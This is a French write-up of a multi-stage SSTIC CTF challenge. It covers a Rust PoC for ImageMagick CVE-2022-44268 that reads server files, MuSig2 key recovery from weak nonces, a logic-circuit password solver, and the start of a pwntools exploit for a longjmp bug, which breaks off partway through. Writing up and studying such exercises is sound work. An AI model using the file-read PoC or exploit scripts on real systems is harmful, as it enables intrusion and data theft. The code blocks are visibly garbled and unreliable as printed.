Étape 0 - Introduction
Le challenge démarre avec un lien
vers la page d’un JNF sur OpenSea (sur un reseau la blockchain de test
“Goerli”). Malheureusement, aucune offre de vente n’est disponible pour
ce superbe JNF lié à une image de lobsterdog. Nous pouvons donc
nous diriger sur le site web du JNF en allant sur “view website” on
tombe sur ce site https://nft.quatre-qu.art/nft-library.php?id=12
.
Il s’agit d’une page php qui prend un paramètre id
via la
méthode GET
. Chaque id correspond à une image et en
changeant l’id nous obtenons de nombreux autres lobsterdogs. En
mettant l’id
1 ou en allant à la racine du site nous
obtenons une image contenant le premier flag:
✅ SSTIC{6a4ec745c1403b1ebf09fbd5a3021d1226330197641d4f65008ba0cd0fe48c62} |
Étape 1 - Pentest
L’objectif est maintenant d’attaquer le site. Pour cela nous nous
tournons vers un service de redimensionnement d’image accessible à
l’adresse https://nft.quatre-qu.art/nft-library.php
.
Cette page permet d’uploader une image et retourne l’image
redimensionnée. Dans les headers de la page, nous voyons
X-Powered-By: ImageMagick/7.1.0-51
qui nous indique que
c’est imageMagick qui est utilisé pour le redimensionnement. Comme il y
a eu beaucoup de vulnérabilités sur ce logiciel nous pouvons deviner que
cette version est vulnérable.
Parmis les dernières CVE sorties pour ImageMagick, il y a
CVE-2022-44268 qui semble prometteuse: elle permet d’exfiltrer un
fichier du serveur. Le patch
de la vulnerabilite ne s’applique qu’à partir de la version
7.1.0-52
, donc la version qui est utilisée est
vulnérable!
La vulnérabilité est assez simple: Un fichier PNG
est
composé de chunks de différents types. Le chunk
tEXt
contient du texte sous forme de valeur associée à des
tags (par exemple, le tag Author
). Lors du
redimensionnement, si le tag profile
contient un nom de
fichier, alors imagemagick va inclure le contenu du fichier dans le
fichier PNG
résultant, dans le chunk
tEXt
ou zTXt
(une version compressée du
chunk tEXt
).
Bien que l’exploit soit assez simple à coder, il existe de nombreux PoC sur le net et avons choisi celui-ci.
fn main() {
let filepath = std::env::args().nth(1).expect("no path given");
let path = Path::new(r"./image.png");
let file = File::create(path).unwrap();
let ref mut w = BufWriter::new(file);
let mut encoder = png::Encoder::new(w, 200, 200);
.set_color(png::ColorType::Rgba);
encoder.set_depth(png::BitDepth::Eight);
encoder//le chemin du fichier à exfiltrer est ajouté dans un "text chunk" ici avec le tag "profile"
.add_text_chunk(
encoder"profile".to_string(),
.to_string(),
filepath
).unwrap();
let mut writer = encoder.write_header().unwrap();
.write_image_data(&multiply_bytes(&[255, 0, 0, 255], 40000)).unwrap(); // Save
writer}
Apres avoir verifié que le PoC marche en exfiltrant
/etc/passwd
, nous avons extrait le fichier
nft-library.php
qui affiche les images de
lobsterdogs.
Le début du fichier nft-library.php
:
<?php
header("X-Powered-By: ImageMagick/7.1.0-51");
// SSTIC{8c44f9aa39f4f69d26b91ae2b49ed4d2d029c0999e691f3122a883b01ee19fae}
// Une sauvegarde de l'infrastructure est disponible dans les fichiers suivants
// /backup.tgz, /devices.tgz
//
Nous voyons que le header a été ajouté comme indice pour nous aider
et n’est pas nécessaire au fonctionnement du site web. De plus, deux
fichiers à la racine sont à extraire : /backup.tgz
et
/devices.tgz
et contiennent de nombreux fichiers qui seront
analysés dans la partie suivante. Pour l’instant, nous pouvons valider
le flag de l’étape 1:
✅ SSTIC{8c44f9aa39f4f69d26b91ae2b49ed4d2d029c0999e691f3122a883b01ee19fae} |
Étape 2
Le fichier backup.tgz
contient une sauvegarde du site
https://trois-pains-zero.quatre-qu.art/
. Il s’agit du site
de la pâtisserie qui nous propose des gateaux contre des JNF.
Malheureusement, pour acheter un JNF il faut aller sur la page d’admin
implémentée par admin.py
. Pour avoir le droit d’y accéder,
il faut signer un message à l’aide d’un protocole multi-signature:
Musig2
(détaillé plus tard dans la section
Étape 2A
). Générer la signature demande d’avoir 4 clés
privées, et la signature peut être vérifiée grâce à l’agrégation des
clés publiques, comme montré sur le schéma ci-dessous.
Heureusement, le fichier devices.tgz
contient des
informations à propos des quatres détenteurs des clés privées, et va
nous permettre de les récupérer au travers de différentes attaques.
Chaque récupération de clé privée est une étape du challenge et sera détaillée dans les sections suivantes.
Étape 2A - Crypto(graphie)
La signature utilisée pour accéder à la page d’admin est réalisée par
le script musig_player2.py
. Comme il s’agit d’un protocol
multi-signature, plusieurs échanges sont nécessaires entre les
participants. Un fichier logs.txt
reporte tout ce qui a été
envoyé et reçu par le participant A. L’objectif de ce challenge est de
récupérer la clé privée utilisée lors de cet échange.
Correction du script
musig2_player.py
Il est probable que la version que nous récupérons dans la sauvegarde
n’est pas la version finale car de nombreuses erreurs sont présentes. La
première étape consiste donc à les corriger. La partie du script qui
implémente le protocol musig2 est correct mais la partie
main
contient plusieurs erreurs:
- ligne 81: la fonction Point prend une courbe en dernier argument qui n’est pas présent ici
- lignes 82-84 les clés publiques importées du fichier
baker_pubkey.py
n’ont pas les bons noms - ligne 88: il manque une parenthèse fermante
- ligne 99: il manque le
log=True
- ligne 105:
my_s
qui est envoyé à l’agrégateur est un tuple contenant plusieurs valeurs mais le fichier de log indique que seulement une valeur a été envoyée.
Les erreurs 1,3 et 4 sont des erreurs faciles à corriger.
Pour l’erreur 2, il y a deux possibilités: soit les noms sont les
bons dans le script, et nous ne disposons pas des clés publiques qui ont
été utilisées lors de l’échange, soit il y a une erreur et il faut
utiliser les clés présentes dans baker_pubkey.py
. De même,
pour l’erreur 5, de nombreuses possibilités sont valides. Nous allons
voir qu’après avoir étudié le protocol Musig2
, il sera plus
aisé de corriger ces erreurs.
Musig2
Le protocol Musig2 et en majorité implémenté dans le fichier
musig2_player.py
. Les seules fonctions manquantes sont les
fonctions d’agrégations qui ne seront pas utiles pour cette étape.
Le protocol utilise la courbe elliptique et on note P le modulo du corps sous-jacent et G le point de la courbe générateur.
Le protocole se déroule comme suit:
- Générer un nombre de nonce r_i au moins égale au nombre de participants et envoyer à l’agrégateur R_i = r_i G.
- L’agrégateur renvoie les nonce agrégés. Cette partie n’est pas implémentée mais facilement trouvable dans le papier Musig2. Il y a autant de nonce agrégés que de nonce générés par les utilisateurs (ici, 4). Chaque nonce agrégé \^{R_j} = \sum_{j=0}^{4} R_{i,j} avec j le numéro de participant.
- Chaque utilisateur calcule:
- a_i = H(L,X_i) avec L la liste des clés publiques des participants, X_i la clé publique du participant i et H une fonction de hash (ici hash256).
- Autant de b de que nonces générés (ici 4) tels que b_j = H(j, \~{X},(\^{R_1},...,\^{R_4}),m)
- Pour ce challenge, il n’est pas très important de comprendre l’utilité des valeurs a et b_j, qui sont surtout là pour pallier des attaques possibles liées à un participant malveillant. Il faut surtout retenir que chaque participant a un une valeur a qui lui est propre et plusieurs valeurs b_j qui sont communes à tous les participants.
- Chaque utilisateur signe partiellement le message m avec les nonces agrégés ainsi que la clé publique \~{X} = \sum_{i=1}^n X_ia_i. Cette signature partielle est composée de deux parties. La première partie est R = \sum_1^4 \^{R_j}b_j commun à tous les participants. Ensuite un hash c = H(\~{X},R,m) commun à tous est calculé et la deuxième partie de la signature partielle est
s_i \equiv ca_ip_i + \sum_{j=1}^4 r_{i,j}b_j \mod P
- La signature finale est R ainsi que l’agrégation des s_i telle que S = sum_{i=1}^4 s_i
- Le vérificateur dispose de G, la signature (R,S), des clés publiques (et donc \~X), et le message m. Il peut calculer c = H(\~{X},R,m) et vérifier que SG = R + c\~X En effet, on a: \begin{equation} \begin{split} SG &= \sum_{i=1}^4 s_iG\\ &= c (\sum_{i=1}^4 (a_ip_i + \sum_{j=1}^4 r_{i,j}b_j)) \times G \\ &= c (\sum_{i=1}^4 a_ip_i \times G + \sum_{i=1}^4 \sum_{j=1}^4 r_{i,j}b_j \times G)\\ &= c (\sum_{i=1}^4 a_iX_i + \sum_{i=1}^4 \sum_{j=1}^4 R_{i,j}b_j)\\ &= c (\~X) + \sum_{j=1}^4 \^{R_j}b_j\\ &= c\~X + R\\ \end{split} \end{equation}
Maintenant que l’on connaît bien le protocol, il est aisé de voir que
sans la connaissance des clés publiques de chaque participant, il semble
n’y avoir aucune attaque possible : on ne disposerait que des points
R_i = r_iG et le logarithme discret ne
semble pas calculable en temps raisonnable ici. L’erreur 2 doit donc
bien être corrigée et les noms dans le script
baker_pubkey.py
sont faux. De même, l’erreur 5 se corrige
maintenant facilement en envoyant s à
l’agrégateur, comme indiqué dans la description du protocole. Voici le
main
corrigé:
if __name__ == "__main__":
= 4
nb_players
# my public key
= Point(0x7d29a75d7745c317aee84f38d0bddbf7eb1c91b7dcf45eab28d6d31584e00dd0, 0x25bb44e5ab9501e784a6f31a93c30cd6ad5b323f669b0af0ca52b8c5aa6258b9,cv) # ERREUR 1
my_pubkey = baker_pubkey.BERTRAND_PK # ERREUR 2
Bob_pubkey = baker_pubkey.CHARLES_PK # ERREUR 2
Charlie_pubkey = baker_pubkey.DANIEL_PK # ERREUR 2
Dany_pubkey
= [my_pubkey, Bob_pubkey, Charlie_pubkey, Dany_pubkey]
L
= Hash_agg(L,my_pubkey) # ERREUR 3
a = musig2_comm.receive_message_to_sign(log=True)
m = first_sign_round_sign(my_privkey,m,4,get_nonce)
my_rs, my_Rs =True)
musig2_comm.send_to_aggregator(my_Rs, log= musig2_comm.receive_from_aggregator(log=True) # ERREUR 4
Rs = second_sign_round_sign(L, Rs, m, a, my_privkey, my_rs)
my_s 1], log=True) # ERREUR 5
musig2_comm.send_to_aggregator(my_s[= musig2_comm.receive_from_aggregator(log=True) s
Récupération de la clé privée
Dans l’implémentation de musig2 donnée, nous voyons que la fonction de nonce est un peu différente de ce qu’il est habituel de voir. En effet, en général un nonce est genéré aléatoirement à l’aide d’un CSPRNG, ou c’est le résultat d’un hash de la clé privée et du message dans le cas de nonce déterministes. Ici, il s’agit bien d’un nonce déterministe mais la clé privée et le message ne sont pas hachés. Pour la génération d’un nonce r_i, on a :
r_j \equiv pm^{H(j)} \mod P avec p la clé privée et H sha256.
Ces nombres sont utilisés soit pour calculer R soit pour calculer la signature partielle. Dans le cas de la signature partielle, regardons ce qu’on obtient après substitution.
\begin{equation} \begin{split} s &= cap + \sum_{j=1}^4 (pm^{H(j)})b_j \\ &= p \times ca + \sum_{j=1}^4 p^{H(j)} \times m^{H(j)}b_j \\ &\Leftrightarrow p \times ca + \sum_{j=1}^4 (p^{H(j)} \times m^{H(j)}b_j) - s = 0 \end{split} \end{equation}
C’est un polynôme univariable de variable p dont la racine est la clé privée! De plus,
dans log.txt
nous disposons pour 5 transactions de s, et des \^R_i. Avec les clés publiques, il est donc
possible de calculer a et les b_j. Ainsi, toutes les autres variables que
la clé privée sont calculables.
Cependant, les exposants du polynôme sont trop élevés pour que l’on puisse chercher une racine: ils sont de l’ordre de 2^{256}. En revanche, nous pouvons exploiter le fait que nous avons plusieurs transactions dans le fichier de log. Précisément, nous en avons 5. Et notre polynôme comporte… 5 termes non constants. Il est possible de voir le polynôme comme une équation à 5 inconnues, chaque p^x avec un x différent étant une variable différente. De cette façon, nous obtenons 5 équations linéaires avec 5 inconnues.
Ainsi, avec c_i, a_i, m_i et b_{j,i} les variables calculées avec les valeurs de la transaction i du fichier de log, on a :
\begin{pmatrix} c_1a_1 & b_{1,1}m^{H(1)} & b_{2,1}m^{H(2)} & ... & b_{4,1}m^{H(4)}\\ c_2a_2 & b_{1,2}m^{H(1)} & ... & ... & ... \\ ... & ... & ... & ... & ... \\ ... & ... & ... & ... & ... \\ c_5a_5 & b_{1,5}m^{H(1)} & ... & ... & b_{4,5}m^{H(4)} \end{pmatrix} \begin{pmatrix} p \\ p^{H(1)} \\ p^{H(2)} \\ p^{H(3)} \\ p^{H(4)} \\ \end{pmatrix} \equiv \begin{pmatrix} s_1 \\ s_2 \\ s_3 \\ s_4 \\ s_5 \\ \end{pmatrix} \mod P Comme P est premier, la solution est calculable.
Le code python pour générer les matrices:
= [my_pubkey, Bob_pubkey, Charlie_pubkey, Dany_pubkey]
L = key_aggregation(L)
X = Hash_agg(L,my_pubkey)
a
= []
values def parse_logs():
= 0
cur_line = open("logs.txt","r").readlines()
lines for _ in range(5):
= {}
vs = lines[cur_line].strip()
l = l[24:-1].encode("ascii")
m "m"] = m
vs[+= 2
cur_line = lines[cur_line].strip()
l = l[11:]
l for ii in range(4):
= l.find(" ")
sep = int(l[:sep],16)
x #print(hex(x))
= l[sep+1:]
l = l.find(" ")
sep if sep != -1:
= int(l[:sep],16)
y else:
= int(l,16)
y = l[sep+1:]
l #print(hex(y))
f"r{ii}"] = Point(x,y,cv)
vs[# sep = l.find(" ")
# l = l[sep+1:]
+=1
cur_line = lines[cur_line].strip()
l = l[15:]
l for ii in range(4):
= l.find(" ")
sep = int(l[:sep],16)
x print(hex(x))
= l[sep+1:]
l = l.find(" ")
sep if sep != -1:
= int(l[:sep],16)
y else:
= int(l,16)
y = l[sep+1:]
l print(hex(y))
f"R{ii}"] = Point(x,y,cv)
vs[+=1
cur_line = lines[cur_line].strip()
l = l[11:]
l = int(l,16)
s "s"] = s
vs[+=3
cur_line
values.append(vs)
parse_logs()print(values)
= []
A = []
B for i in range(5):
= []
coefs_eq = values[i]
vs = [vs["R0"], vs["R1"],vs["R2"],vs["R3"]]
Rs = vs["m"]
m = Hash_non(X,Rs,m)
b = Point.infinity()
R for j in range(len(L)):
= pow(b,j,order)
exp += exp* Rs[j]
R = R
R = Hash_sig(X,R,m)
c *a)%order)
coefs_eq.append((c
= [vs["r0"], vs["r1"],vs["r2"],vs["r3"]]
rs for i in range(4):
= int.from_bytes(hashlib.sha256((i+1).to_bytes(32,byteorder="big")).digest(),byteorder="big")
digest = int.from_bytes(m, "big")
m_int = pow(m_int, digest, order)
r = pow(b,i,order)
bb *bb)%order)
coefs_eq.append((r
A.append(coefs_eq)"s"])
B.append(vs[import json
open("matrix.json","w")) json.dump([A,B],
et le code Sage pour résoudre le système:
= json.load(open("matrix.json"))
ms ord = 115792089237316195423570985008687907852837564279074904382605163141518161494337
= ms
lA,lB = matrix(GF(ord), lA)
A = matrix(GF(ord), lB).transpose()
b print(A.solve_right(b))
Nous obtenons ainsi la clé privée du participant A. Cela nous permet
de déchiffrer le fichier deviceA.enc
et d’obtenir le flag
de cette étape:
✅ SSTIC{dc3cb2c61cb0f2bdec237be4382fe3891365f81a0fb1c20546d888247dd9df0a} |
Étape 2B - Circuit logique
Cette étape est constituée d’un fichier python qui prend un argument en mot de passe et qui génère une clé si le mot de passe est bon.
Le code qui vérifie le mot de passe construit un circuit logique avec
les données stockées dans le fichier seed.bin
. Le circuit
logique est composé de portes OR
, NAND
,
NOT
, XOR
, ainsi qu’une porte IF
,
et de cellules mémoires. À chaque tick
(correspondant à la
fonction step
), les valeurs des cellules mémoire sont mises
à jour.
Certaines entrées sont fixées à 1
ou 0
,
mais il y a deux entrées qui peuvent prendre des valeurs variables.
Ainsi, le mot de passe est découpé en tranches de 2 bits. Pour chaque
tranche, les deux bits sont les deux entrées variables, et deux
tick
sont exécutés. Une fois que tous les bits du mot de
passes ont été traités, une des sorties du circuit est à 1
si le mot de passe est bon. Une des autres sorties du circuit est une
valeur utilisée pour générer la clé.
Méthode rapide: z3
Comme le code travaille sur des bits, il est naturel de se tourner
vers un framework qui implémente un SAT solver
. Il faut
d’abord réécrire la porte IF
avec des portes
OR
,AND
, et NOT
.
elif g.kind == 8:
= (self.get(g.c) & self.get(g.b)) | ((~self.get(g.c)) & self.get(g.a)) res
Ensuite, il faut remplacer l’entrée utilisateur par des vecteurs de bits:
#password = bytes.fromhex(sys.argv[1])
= E()
e = Solver()
s = []
syms
= []
syms_c for i in range(10):
f"c{i}",8))
syms_c.append(BitVec(
for b in syms_c:
for i in range(4):
#key = (b >> (i * 2)) & 3
= LShR(b, (i * 2))& 3
key
e.set_uint(e.key, key)for _ in range(2):
e.step()
Et en essayant différentes tailles de mots de passes z3 nous trouve le bon:
995b90996f4564409191
Méthode longue: Analyse du circuit logique
Ce qui détermine l’état du circuit c’est l’état des cellules mémoires. Nous déterminons donc d’abord de quelles cellules dépend la sortie du circuit:
= {}
dir_deps
for i,g in enumerate(e.gs):
if g.kind in [0,1,2]:
= []
dir_deps[i] elif g.kind in [3,7]:
= [g.a]
dir_deps[i] elif g.kind in [4,5,6]:
= [g.a,g.b]
dir_deps[i] elif g.kind in [8]:
= [g.a,g.b,g.c]
dir_deps[i] elif g.kind in [9]:
= [g.a]
dir_deps[i]
= []
deps = [0]*8000
marked def get_deps(i):
global deps
global marked
= []
deps = [0]*8000
marked return get_deps_rec(i)
def get_deps_rec(i):
global deps
if marked[i]:
return deps
else:
= 1
marked[i] if dir_deps[i] == []:
return deps
else:
for hh in dir_deps[i]:
if not hh in deps:
deps.append(hh)for j in dir_deps[i]:
get_deps_rec(j)return deps
def is_dep_2(i):
get_deps(i)return (4962 in deps) or (2644 in deps)
def is_dep_9(i):
get_deps(i)for d in deps:
if e.gs[d].kind == 9:
return True
return False
def get_dep_9(i):
= set()
ret
get_deps(i)for d in deps:
if e.gs[d].kind == 9:
ret.add(d)return ret
print("===")
print(get_dep_9(e.good[0]))
Nous remarquons qu’elle dépend de seulement 20 cellules. En regardant les dépendances aux portes de type 2(entrée) de ces 2 cellules, nous remarquons que seulement 11 dépendent des entrées.
Pour étudier plus précisément le circuit, nous le dessinons sous forme de graphe:
Les cellules R0
à R8
sont celles qui ne
dépendent pas des entrées. Ce circuit est très simple. Pour que la
sortie S soit à 1
, il faut
une valeur précise pour chaque cellule R0
à
R19
.
Cellules R0-R8
Nous commençons par regarder les cellules R1
à
R8
. Les cellules en bleu foncé
représentent l’état précédent de la cellule (avant le
tick), et les cellules en bleu clair le nouvel état
(après le ticket).
On a:
\begin{cases} r_1' &= r_1 \oplus 1 \\ r_i' &= r_i \oplus \bigwedge_{n=0}^{i-1}r_n \\ \end{cases}
Ce circuit correspond à une opération “plus 1” sur un nombre C composé des bits r_1,..,r_8. En effet le \oplus 1 correspond à une addition binaire
avec 1. Il faut ensuite propager la retenue. Dans une addition avec 1,
il y a une retenue au bit n que si tous
les bits précédents sont à 1
avant l’addition, ce qui est
testé par \bigwedge_{n=0}^{i-1}r_n.
Chaque tick
incrémente donc C de 1. Pour obtenir la sortie du circuit à
1
, la valeur de C doit
être de 80. Nous savons donc que le mot de passe doit faire 80 bits,
soit 8 caractères. Cependant, les mots de passes d’une longueur l \equiv 80 \mod 2^8 sont aussi acceptés.
Pour éviter cela, la cellule R0
vaut 1
si
C > 80, et pour que la sortie du
circuit soit à 1
, R0 doit être à 0
.
Le détail de R0
:
Nous voyons que lorsque r_0 = 1, la
valeur de C au précédent
tick
doit être de 80. La porte OR
garantit
ensuite que, une fois que R0
vaut 1
, sa valeur
ne change plus.
Cellules R10-R14 et R15-R19
Nous nous intéressons d’abord au groupe de cellules
R10
-R14
Regardons d’abord la cellule
R10
:
Nous voyons plusieurs ifs, mais ils peuvent être simplifiés. Nous voyons que ce bloc de if renvoit la valeur I_1, et nous pouvons nous en assurer en regardant la table de vérité correspondante:
I0 I1 V
0 0 0
0 1 1
1 0 0
1 1 1
Nous ajoutons R11
à notre visualisation. Pour que le
graphe soit plus lisible, nous dupliquons les nœuds afin que ça devienne
un arbre. Les identifiants des noeuds ont été ajoutés afin de mieux voir
les nœuds dupliqués.
Un nouveau bloc IF
est utilisé ici : le bloc
IF-647
. Il peut lui aussi être simplifié par I_1 \wedge I_0.
Affichons maintenant R10
-R12
avec nos blocs
IF
simplifiés.
Le circuit est un peu plus compliqué ici, commençons par prendre le cas ou I_0 = 0. Le circuit est alors très similaire à la section précédente et on a:
b_i' = b_i \oplus \bigwedge_{n=0}^{i-1}b_n \wedge I_1
avec b_0 le bit dans
R10
, b_1 dans
R12
etc. Bien que n’affichant pas les cellules
R13
et R14
, cela s’applique aussi. Nous avons
donc un nombre N_1 sur 5 bits. De plus,
si I_0 = 0, le circuit effectue
l’opération
N_1 + I_1 \mod 2^5
Maintenant, si I_0 est à 1, c’est un peu plus compliqué. Il s’agit de l’opération N_1 - I_1. Essayons d’en avoir l’intuition informelle en regardant b_2:
On a: b_2' = b_2 \oplus I_1 \oplus ((b_1 \wedge I_1) \vee (b_0 \wedge I_1 \wedge (b_1 \oplus I_1)))
Si I_1 = 1, alors b_2 va au moins être xorée avec 1. Cependant, cela ne doit être le cas que
dans le cas d’une propagation de retenue. Le reste de la formule doit
donc être égale à 1 si il n’y a pas de propagation de
retenue, pour “annuler” ce xor. Le cas où il n’y a pas de
propagation de retenue est simple: si il y a au moins un bit à 1 dans
les bits précédents. C’est cela que vise à implémenter le
OR
: Soit b_1 = 1 est à 1,
soit b_1 = 0 (implémenté par b_1 \oplus I_1 puisqu’on considère le cas ou
I_1 = 1) ET
b_0 = 1.
Ce circuit est généralisé à b_3 et b_4.
Pour résumer, à chaque tick
, on a:
\begin{cases} N_1' & \equiv N_1 + I_1 \mod 2^5 \text{ si } I_0 = 0 \\ N_1' & \equiv N_1 - I_1 \mod 2^5 \text{ sinon} \\ \end{cases}
La valeur initiale de N_1 est 1.
Le circuit logique est très similaire pour les cellules
R15
à R19
, il est donc facile de le reverser:
les cellules mémoires R15
-R19
forment un
nombre de 5 bits N_2 tel que
\begin{cases} N_2' & \equiv N_2 - (1 - I_0) \mod 2^5 \text{ si } I_1 = 1 \\ N_2' & \equiv N_2 + (1 - I_0) \mod 2^5 \text{ sinon} \\ \end{cases}
La valeur initiale de N_2 est 11.
Cellule R9
La cellule R9 vérifie que les cellules R10-R14 et R15-R19 sont dans
un ensemble de valeurs acceptables. Il s’agit donc d’un énorme
OR
qui ressemble à ça (l’arbre total est trop grand):
De plus, une porte ET
assure que R9 doit être à
1
à chaque tick
:
On note l’ensemble des valeurs acceptables A.
Mot de passe et flag
Pour résumer: Il y a 80 tick
. Pour chaque
tick
, (N_1, N_2) de valeur
initiale (1,11) évolue en fonction de
I_0 et I_1 selon la table suivante:
I_1 | I_0 | N_1' | N_2' |
---|---|---|---|
0 | 0 | N_1 | N2-1 |
0 | 1 | N_1+1 | N2 |
1 | 0 | N_1 | N2+1 |
1 | 1 | N_1-1 | N2 |
La valeur finale pour (N_1, N_2) est d’après la première figure (31, 13)
Cela nous fait penser à des coordonnées. Et en effet, les valeurs de A représentent un labyrinthe! Chaque combinaison de 2 bits d’entrée correspond à un déplacement dans le labyrinthe. Pour trouver les bonnes valeurs d’entrées, il faut donc trouver un chemin de 81 cases.
Il se trouve qu’il n’y a qu’un seul chemin de cette longueure entre l’entrée et la sortie, représenté sur l’image ci-dessous (entrée en bleu et sortie en vert).
Le code python pour retrouver le chemin:
= []
values def extract_values(x):
global values
= e.gs[x]
g if g.kind == 5:
= get_parents(x)
ps for p in ps:
extract_values(p)elif g.kind == 4:
#r0
= e.gs[g.b]
n8 = e.gs[g.a]
n7 = e.gs[n7.b]
n6 = e.gs[n7.a]
n5 = e.gs[n6.b]
n4 = e.gs[n6.a]
n3 = e.gs[n5.b]
n2 = e.gs[n5.a]
n1 = not n1.na
r0 = not n1.nb
r1 = not n2.na
r2 = not n2.nb
r3 = not n3.na
r4 = not n3.nb
r5 = not n4.na
r6 = not n4.nb
r7 = not n8.na
r8 = not n8.nb
r9 = r0 | (r1 << 1) | (r2 << 2) | (r3 << 3) | (r4 << 4)
N1 = r5 | (r6 << 1) | (r7 << 2) | (r8 << 3) | (r9 << 4)
N2 print(x,(N1,N2))
values.append((N1,N2))
3739)
extract_values(print(len(values))
print(values)
def get_adj(p):
= p
x,y = []
ret if ((x+1)%32,y) in values:
+1)%32,y))
ret.append(((xif (x,(y+1)%32) in values:
+1)%32))
ret.append((x,(yif ((x-1)%32,y) in values:
-1)%32,y))
ret.append(((xif (x,(y-1)%32) in values:
-1)%32))
ret.append((x,(yreturn ret
import copy
= (31,13)
dest = [(1,11)]
chemin = [chemin]
stack = None
FOUND while stack:
= stack.pop()
chemin = chemin[-1]
cur_pos = get_adj(cur_pos)
adjs for a in adjs:
if a not in chemin:
= copy.deepcopy(chemin)
new_chemin
new_chemin.append(a)if a == dest:
print("FOUND")
print(len(new_chemin))
print(new_chemin)
= []
stack = new_chemin
FOUND break
stack.append(new_chemin)
Il ne nous reste plus qu’a reconstruire le mot de passe:
= (1,11)
prev = []
bits = True
add for p in FOUND[1:]:
#xp,yp = p
= prev
x,y if add:
if p == (x+1,y):
+= [1,0]
bits elif p == (x,y+1):
+= [0,1]
bits elif p == (x-1,y):
+= [1,1]
bits elif p == (x,y-1):
+= [0,0]
bits = not add
add = p
prev print(bits)
= []
password for i in range(0, 80, 8):
= bits[i:i+8]
chunk = 0
cur_byte for j in range(8):
|= (chunk[j] <<j)
cur_byte
password.append(cur_byte)print(bytes(password).hex())
Nous trouvons bien le même mot de passe qu’avec z3
:
python seedlocker.py 995b90996f4564409191
Seed: easy sponsor novel jazz theory marble era hurt transfer ball describe neutral
Private key: 0x81e8d3a6ad341da46e6361b7c1c376b5423e7ad04748077b93a0c20263305824
Public key X: 0x206aeb643e2fe72452ef6929049d09496d7252a87e9daf6bf2e58914b55f3a90
Public key Y: 0x46c220ee7cbe03b138a76dcb4db673c35e2ab81b4235486fe4dbd2ad093e8df4
Cela permet de récupérer la cle et de déchiffrer le flag:
✅ SSTIC{f5967cae6478fa6bb9ea1bc758aee0961a68a8b4767f74888ce0bb8563a6218e} |
Étape 2C - Éxploitation
Cette étape consiste à exploiter une machine qui utilise la clé privée pour signer et chiffrer des messages.
L’application distante est composée de deux binaires: un frontend et un backend. Le premier objectif est d’obtenir un shell sur le frontend
Éxploitation du frontend
Le frontend interagit avec l’utilisateur grace à une interface en mode texte. Il est possible de :
- Envoyer des données, jusqu’à 10 chunks de 0x100 octets maximum
- Chiffrer les chunks envoyés
- Déchiffrer les chunks envoyés
- Signer les chunks envoyés mais la fonctionalité n’est pas implémentée
- Demander à récupérer un “firmware” en fournissant un mot de passe
Les chunks envoyés sont stockés dans un tableau d’objets chunks
struct chunk
{
int is_encrypted;
int decrypted_size;
int nb;
char data[256];
int crc;
int encrypted_size;
};
De plus, le frontend utilise les fonctions longjump et setjump pour gérer les erreurs. Ainsi la plupart des erreurs provoquent un retour immédiat au menu principal de l’interface, sans que la fonction ne se termine.
Vulnérabilité
La vulnérabilité se trouve dans la fonction qui reçoit un chunk:
ssize_t __fastcall get_data(unsigned int a1, unsigned int a2)
{
int v2; // w0
if ( can_add_data != 1 )
{
= (__int64)"Cannot add more data\n";
error (&lg_jmp, 1);
longjmp}
= nb_data++; [1]
v2 (a1, &encrypt_obj_tab[v2], a2); [2]
get_data_from_clientif ( nb_data == 10 ) [3]
= 0;
can_add_data return _write(a1, "Data successfully added\n", 0x18u);
}
En [1], le nombre de chunk nb_data
est incrémenté, et il
est vérifié en [3]. Cependant, la fonction appelée en [2] peut faire un
appel à longjump en cas d’erreur:
(unsigned int a1, encrypt_obj *a2, int a3)
__int64 __fastcall get_data_from_client{
unsigned int data_size; // [xsp+2Ch] [xbp+2Ch]
= get_data_size(a1, a3);
data_size ->nb = get_id(a1);
a2if ( a3 == 1 )
{
->encrypted = 1;
a2->encrypted_size = data_size;
a2if ( (unsigned __int8)get_y_n(a1) )
{
>>= 1;
data_size ->encrypted_size = data_size;
a2(a1, "Data (hex): ", 0xCu);
_write(a1, (__int64)a2->data, a2->encrypted_size);
read_hex_data}
else
{
(a1, "Data: ", 6u);
_write(a1, (__int64)a2->data, a2->encrypted_size);
get_data_raw}
}
else
[...]
(unsigned int a1)
__int64 __fastcall get_y_n{
unsigned __int8 option; // w0
(a1, "Data in hex?(y/n)\n", 0x12u);
_write= get_option(a1);
option if ( option == 121 )
return 1LL;
if ( option > (unsigned int)'y' )
{
:
LABEL_9= (__int64)"Bad choice\n";
error (&lg_jmp, 1); [4]
longjmp}
[...]
Il suffit de répondre autre chose que “y” ou “n” lorsque l’interface
le demande pour provoquer un longjump en [4]. Lorsque cela arrive, le
nombre de chunks nb_data
est incrémenté sans être
vérifié. Il peut alors valoir plus que 10.
Éxploitation
La fonction setjump
stocke la valeur de certains
registres et notamment pc
et sp
xorés avec un
secret dans un buffer situé sous le tableau de chunk.
Avec la vulnérabilité, il est donc possible de faire pointer un
chunk dans l’environnement sauvegarde par
setjump
.
Heureusement, le chunk n’est pas initialisé à zéro et il est donc possible de ne pas écraser les données.
Leak
Il est possible de lire les données des chunks, ce qui nous
permet de récupérer les données de l’environnement setjump
.
Heureusement, un des registres sauvegardés contient la valeur de SP non
xorée, ce qui nous permet de récupérer la valeur du secret. De plus, il
y a un pointeur vers ld
, une bibliothèque toujours mappée
juste après la libc
. Ainsi, nous avons aussi l’adresse de
base de la libc
Le code python qui effectue le leak
import sys
if "remote" in sys.argv:
= remote("device.quatre-qu.art",8080)
r "password:")
r.recvuntil("fudmH/MGzgUM7Zx3k6xMuvThTXh+ULf1")
r.sendline("6(n + b'")
r.recvuntil(= r.recv(5)
s print(s)
"number:")
r.recvuntil(= solve_pow(s)
inp
r.sendline(inp)else:
= remote("192.168.1.70",1336)
r
"Option:")
r.recvuntil(
def add_data(id,data):
"A")
r.sendline("Data size:")
r.recvuntil(str(len(data)))
r.sendline("Data id:")
r.recvuntil(str(id))
r.sendline("Data in hex?(y/n)")
r.recvuntil("n")
r.sendline("Data:")
r.recvuntil(
r.sendline(data)"crc (hex):")
r.recvuntil(hex(zlib.crc32(data))[2:])
r.sendline(print(r.recvuntil("Option:"))
def add_data_bad_crc(id,data):
"A")
r.sendline("Data size:")
r.recvuntil(str(len(data)))
r.sendline("Data id:")
r.recvuntil(str(id))
r.sendline("Data in hex?(y/n)")
r.recvuntil("n")
r.sendline("Data:")
r.recvuntil(
r.sendline(data)"crc (hex):")
r.recvuntil("00000000")
r.sendline(print(r.recvuntil("Option:"))
def add_bad_data(d,data):
"A")
r.sendline("Data size:")
r.recvuntil(str(0x200))
r.sendline("Bad packet size")
r.recvuntil(
def add_leak_data(id,data):
"A")
r.sendline("Data size:")
r.recvuntil(str(0x100))
